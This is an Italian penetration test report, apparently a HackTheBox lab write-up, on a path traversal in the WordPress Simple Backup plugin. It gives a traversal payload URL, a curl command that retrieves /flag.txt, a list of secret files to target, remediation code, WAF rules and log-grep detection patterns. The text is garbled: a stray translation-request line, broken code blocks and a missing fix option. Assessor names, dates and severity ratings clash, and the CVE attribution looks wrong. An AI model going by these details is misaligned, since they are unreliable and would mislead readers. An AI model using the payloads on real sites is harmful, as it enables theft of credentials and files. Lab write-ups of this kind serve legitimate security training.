
Report dettagliato di penetration test che dimostra una path traversal non autenticata (CVE-2019-11447) nel plugin WordPress Simple Backup, inclusi i passaggi di sfruttamento, l'analisi dell'impatto e le indicazioni di remediation.
| Voce | Dettagli |
|---|
| Titolo del documento | Rapporto di Penetration Test - WordPress Path Traversal |
| Cliente/Esame | HackTheBox Lab - CPTS Exercise 1 |
| Data | 22 agosto 2026 |
| Valutatore | Cyberia (Penetration Tester) |
| Tipo di valutazione | Gray Box (Esterno, senza credenziali) |
| Ambiente di laboratorio | 154.57.164.73:30706 |
| Durata del laboratorio | 1 ora |
| Obiettivi | Identificare e sfruttare vulnerabilità per recuperare file ristretti |
| Flag ottenuta | HTB{my_f1r57_h4ck} |
Durante questa valutazione di penetrazione dell'applicazione web ospitata su 154.57.164.73:30706, è stata identificata una vulnerabilità critica che consente ad attaccanti non autenticati di scaricare e leggere file arbitrari dal filesystem del server.
L'installazione WordPress vulnerabile contiene un plugin obsoleto (Simple Backup v2.7.10) con una vulnerabilità di path traversal (CVE-2019-11447) che consente l'accesso non autorizzato ai file senza richiedere autenticazione o autorizzazione.
Questa vulnerabilità è stata sfruttata con successo per recuperare il file /flag.txt dalla root del server, confermando la compromissione completa della riservatezza. Un attaccante con questo accesso potrebbe:
wp-config.php, .env)È richiesta un'azione critica per rimediare immediatamente a questa vulnerabilità, poiché rappresenta un rischio estremo per la sicurezza dei dati, la conformità alla privacy (GDPR, HIPAA, PCI-DSS) e l'integrità del sistema.
| Gravità | Conteggio | Impatto aziendale |
|---|---|---|
| 🔴 CRITICA | 1 | Violazione completa della riservatezza; accesso non autorizzato ai file |
| 🟠 ALTA | 0 | — |
| 🟡 MEDIA | 0 | — |
| 🟢 BASSA | 0 | — |
| ℹ️ INFORMATIVA | 1 | Rilevate versioni software obsolete |
Tipo di valutazione: Gray Box (attaccante esterno, nessuna credenziale fornita, accesso di rete disponibile)
Date di valutazione: 22 agosto 2026
Approccio di test: Valutazione non invasiva e metodica che segue il framework standard di penetration testing (PTES):
CVE-2019-11447 | CWE-22: Limitazione impropria di un percorso a una directory ristretta
Il plugin WordPress Simple Backup (versione 2.7.10/2.7.11, Exploit-DB 39883) contiene una vulnerabilità di path traversal nella pagina admin "Backup Manager". Il plugin non riesce a sanificare il percorso del file fornito tramite il parametro GET download_backup_file, consentendo a un attaccante di attraversare al di fuori della directory prevista simple-backup/ utilizzando sequenze di percorso relative (../) e di scaricare qualsiasi file leggibile dal processo del server web — inclusi i file alla root del filesystem.
L'endpoint vulnerabile:``` GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
`page=backup_manager` instrada la richiesta verso il gestore della pagina di amministrazione del plugin; `download_backup_file` è il parametro che il codice del plugin legge direttamente e concatena in un percorso del filesystem senza validazione, consentendo il directory traversal.
---
### Punteggio CVSS v3.1
**7.5 - ALTO** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
- **Vettore d'attacco (AV):** Rete
- **Complessità d'attacco (AC):** Bassa
- **Privilegi richiesti (PR):** Nessuno
- **Interazione dell'utente (UI):** Nessuna
- **Ambito (S):** Invariato
- **Riservatezza (C):** Alta
- **Integrità (I):** Nessuna
- **Disponibilità (A):** Nessuna
---
### Impatto Aziendale
**Violazione della Riservatezza:** ⚠️ CRITICA
Gli attaccanti possono leggere qualsiasi file accessibile al server web, tra cui:
| File | Impatto | Livello di Rischio |
|------|---------|--------------------|
| `/wp-config.php` | Credenziali del database, salt, chiavi | 🔴 CRITICO |
| `/.env` | Chiavi API, segreti, configurazione | 🔴 CRITICO |
| `/etc/passwd` | Enumerazione utenti, mappatura di sistema | 🟠 ALTO |
| Chiavi SSH (`.ssh/id_rsa`) | Movimento laterale, accesso al sistema | 🔴 CRITICO |
| `/proc/self/environ` | Segreti dell'applicazione in esecuzione | 🟠 ALTO |
| Directory di upload degli utenti | File privati, media | 🟠 ALTO |
**Impatto Regolamentare:**
- **Violazione GDPR:** Accesso non autorizzato ai dati degli utenti
- **Violazione HIPAA:** Esposizione di informazioni sanitarie protette
- **Violazione PCI-DSS:** Accesso a dati di carte di credito o informazioni di pagamento
- **Violazione SOC 2:** Violazione del requisito di riservatezza
---
### Pattern di Codice Vulnerabile
L'advisory di Exploit-DB (39883.txt, letto tramite `searchsploit -x` — vedi [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png)) documenta la primitiva **delete** del plugin da `simple-backup-manager.php`:```php
if(array_key_exists('delete_backup_file', $_GET)){
$this->delete_local_backup_file($_GET['delete_backup_file']);
}
Per favore, incolla il contenuto Markdown da tradurre.```php $bk_dir = ABSPATH."simple-backup/"; unlink($bk_dir . $filename);
`$filename` arriva direttamente da `$_GET['delete_backup_file']` senza alcun controllo `basename()` o verifica di contenimento del percorso. Passare `../pizza.txt` risolve `$bk_dir . $filename` in `.../simple-backup/../pizza.txt` → `.../pizza.txt`, uscendo dalla cartella di backup prevista.
La primitiva di **download** effettivamente sfruttata in questa attività (`download_backup_file`) segue lo stesso identico schema di concatenazione non sanificata nello stesso plugin, ma restituisce il file al richiedente invece di eliminarlo — ed è ciò che ha permesso il recupero di `/flag.txt` dalla root del filesystem (10× `../` da `ABSPATH/simple-backup/`).
**Il problema:**
- Nessun uso di `basename()` per rimuovere i componenti della directory
- Nessuna whitelist dei file consentiti
- Nessuna verifica che `realpath()` rimanga all'interno di `ABSPATH."simple-backup/"`
- Concatenazione diretta dell'input utente nel percorso del file
- Nessun controllo `current_user_can()` / autenticazione prima di servire il file — l'handler viene eseguito al caricamento del plugin, prima del gate di autenticazione `wp-admin` di WordPress, quindi è raggiungibile **senza essere loggati**
---
### Proof of Concept
#### **Fase 1: Accesso iniziale — Identificazione dell'applicazione**
Connessione diretta al target tramite browser (`http://154.57.164.73:30706/`). L'installazione WordPress è intitolata **"GETTING STARTED"**, e un post pubblico sul blog presente nella homepage divulga il nome esatto del plugin e la versione in chiaro: **"Simple Backup Plugin 2.7.10 for WordPress"** — non è stato nemmeno necessario alcuno strumento di enumerazione per identificare il componente vulnerabile.

#### **Fase 2: Fingerprinting del servizio**```bash
whatweb http://154.57.164.73:30706/
Risultato: Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1 confermato tramite le firme dei plugin MetaGenerator e WordPress.

searchsploit simple backup wordpress
**Risultato:**```
Exploit Title | Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

Leggere l'advisory completo per comprendere i parametri vulnerabili esatti e il percorso del codice:```bash searchsploit -x php/webapps/39883.txt
L'advisory documenta la **cancellazione arbitraria di file** non autenticata tramite il parametro `delete_backup_file` e segnala che i file di backup in `simple-backup/` (e, attraverso lo stesso percorso di codice non sanitizzato, file arbitrari tramite `download_backup_file`) possono essere recuperati senza autenticazione.

#### **Fase 4: Sfruttamento — Path Traversal tramite `download_backup_file`**
Endpoint vulnerabile identificato dal routing della pagina di amministrazione del plugin:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=
Payload di sfruttamento (10× ../ per risalire da ABSPATH/simple-backup/ alla radice del filesystem):```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
**GUI (utilizzata in questa valutazione):** l'URL del payload è stato aperto direttamente nella barra degli indirizzi del browser. Non è stato richiesto alcun login — il browser ha attivato il download automatico del file `flag.txt` risolto.

**Equivalente headless:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt
Flag ottenuta: HTB{my_f1r57_h4ck}
La vulnerabilità ha successo perché:
$_GET['download_backup_file'] non viene verificato contro una whitelistrealpath() non viene utilizzato per verificare che il file rimanga all'interno di simple-backup/../) non vengono filtrateABSPATH."simple-backup/"wp-admin di WordPress — raggiungibile anche senza logincurrent_user_can() conferma che il richiedente debba accedere al file richiestoFlusso dell'attacco:``` User Input: ../../../../../../../../../../flag.txt ↓ No Validation (FAILURE POINT) ↓ Concatenated: ABSPATH/simple-backup/../../../../../../../../../../flag.txt ↓ Resolves to: /flag.txt (accessible!) ↓ Plugin serves file contents with web server permissions ↓ Browser downloads flag.txt to attacker's machine
---
### Validazione dell'Impatto
✅ **Riservatezza Compromessa:** Qualsiasi file leggibile dal processo del web server è accessibile
✅ **Nessuna Autenticazione Richiesta:** Gli utenti non autenticati possono sfruttarla
✅ **Nessuna Interazione dell'Utente Necessaria:** Sfruttamento tramite richiesta HTTP diretta
✅ **Ripetibile e Affidabile:** Funziona su tutte le versioni vulnerabili
✅ **Dati Aziendali Critici a Rischio:** File di configurazione, credenziali, dati utente esposti
---
## Rimedio
### **Opzione 1: Whitelist di Input (Consigliata)**
Consenti solo il download da un elenco predefinito di file:```php
<?php
// Define allowed backup files
$allowed_files = array(
'backup_2024_01_15.zip',
'backup_2024_01_16.zip',
'backup_2024_01_17.zip',
);
$requested_file = $_GET['download_backup_file'];
// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
die("File not found or access denied");
}
// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
die("File not found");
}
readfile($filepath);
?>
Vantaggi:
Usa realpath() per canonicalizzare i percorsi e verificare il contenimento:```php
**Vantaggi:**
- Gestisce i symlink e i percorsi complessi
- Verifica automaticamente il contenimento
- Più flessibile della whitelist
---
### **Opzione 3: Usare basename() solo per il Nome del File**
Estrai solo il componente del nome file:```php
<?php
$user_input = $_GET['download_backup_file'];
// Remove all directory components
$file = basename($user_input);
// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists
if (!file_exists($filepath)) {
die("File not found");
}
readfile($filepath);
?>
Vantaggi:
Nota: Questo approccio funziona solo se tutti i file legittimi si trovano in una singola directory senza sottodirectory.
Regole del Web Application Firewall (WAF):```
ModSecurity Rule: SecRule ARGS:download_backup_file "@rx ../" "id:1000,phase:2,block,msg:'Path Traversal Attempt'" SecRule ARGS:download_backup_file "@rx %2e%2e%2f" "id:1001,phase:2,block,msg:'Encoded Path Traversal'"
**Permessi del file system:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/
# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php
# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads
Registrazione e Monitoraggio degli Accessi:```bash
tail -f /var/log/apache2/access.log | grep ".." tail -f /var/log/apache2/access.log | grep "%2e%2e"
**Gestione degli aggiornamenti:**
1. Disattivare o rimuovere il plugin Simple Backup
2. Installare una soluzione di backup approvata con audit di sicurezza
3. Aggiornare WordPress all'ultima versione
4. Aggiornare tutti i plugin alle ultime versioni
5. Aggiornare PHP a 8.0+ con patch di sicurezza
---
## Catena di attacco```
┌─────────────────────────────────────────────────────────────┐
│ 1. INITIAL ACCESS │
│ └─ Browse to 154.57.164.73:30706 │
│ └─ WordPress "GETTING STARTED" site identified │
│ └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 2. ENUMERATION │
│ └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1 │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 3. VULNERABILITY RESEARCH │
│ └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns) │
│ └─ searchsploit -x → read PoC, identify unsanitized │
│ delete_backup_file / download_backup_file parameters │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 4. EXPLOITATION │
│ └─ Endpoint: /wp-admin/tools.php?page=backup_manager │
│ └─ Payload: download_backup_file=../..(x10)../flag.txt │
│ └─ Browser navigates to payload URL (no login required) │
│ └─ Plugin resolves path to /flag.txt and serves it │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 5. SUCCESS │
│ └─ Flag Retrieved: HTB{my_f1r57_h4ck} │
│ └─ Confidentiality Breached │
│ └─ Unauthenticated arbitrary file read confirmed │
└─────────────────────────────────────────────────────────────┘
Esiste una vulnerabilità critica di path traversal nel plugin Simple Backup per WordPress che consente ad attaccanti non autenticati di scaricare e leggere file arbitrari dal server. Questa vulnerabilità è stata sfruttata con successo per recuperare file sensibili dalla root web.
Livello di Rischio: 🔴 CRITICO
| Priorità | Azione | Tempistica | Responsabile |
|---|---|---|---|
| 🔴 P0 | Disattivare/Rimuovere il plugin Simple Backup | Immediatamente | Sicurezza/Ops |
| 🔴 P0 | Implementare la validazione dei file basata su whitelist | Questa settimana | Sviluppo |
| 🟠 P1 | Distribuire regole WAF per bloccare il path traversal | Questa settimana | Ops |
| 🟠 P1 | Controllare i log del server per accessi non autorizzati | Questa settimana | Sicurezza |
| 🟠 P1 | Ruotare tutte le credenziali esposte (DB, SSH, API) | Questa settimana | Ops |
| 🟡 P2 | Aggiornare il core di WordPress e tutti i plugin | Questa settimana | Ops |
| 🟡 P2 | Implementare il monitoraggio dell'integrità dei file | Prossimo sprint | Sicurezza |
| 🟡 P2 | Condurre un audit di sicurezza completo degli altri plugin | Prossimo sprint | Sicurezza |
Risultato: Il sito WordPress "GETTING STARTED" divulga pubblicamente il plugin installato e la versione in un post del blog — "Simple Backup Plugin 2.7.10 for WordPress"
Risultato: Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1 confermati
Risultato: "WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities" (php/webapps/39883.txt)
Risultato: L'advisory documenta l'eliminazione arbitraria di file non autenticata tramite delete_backup_file; lo stesso percorso di codice non sanificato si applica a download_backup_file
Risultato: Navigando verso tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt si attiva un download non autenticato di flag.txt: HTB{my_f1r57_h4ck}
CVE-2019-11447 — Path Traversal di Simple Backup
CWE-22 — Limitazione impropria di un percorso a una directory ristretta ('Path Traversal')
Punteggio CVSS v3.1: 7.5 (Alto)
OWASP Top 10 - A01:2021 Broken Access Control
OWASP Path Traversal
PortSwigger Web Security Academy - Path Traversal
SearchSploit — Ricerca nel Database degli Exploit
NMAP — Network Mapper
WhatWeb — Strumento di Fingerprinting Web
Questo report documenta un test di penetrazione condotto con la dovuta autorizzazione e all'interno dello scope definito.
| Voce | Valore |
|---|---|
| Stato del Report | ✅ Completo |
| Risultati Verificati | ✅ Sì |
| Raccomandazioni Attuabili | ✅ Sì |
| Riservatezza | 🔒 Alta |
| Distribuzione | Limitata al personale autorizzato |
Valutatore: Capivara Root (Penetration Tester)
Data: 11 agosto 2026
Firma: Report digitale - Nessuna firma fisica richiesta
© 2026 Valutazione di Penetration Testing | Riservato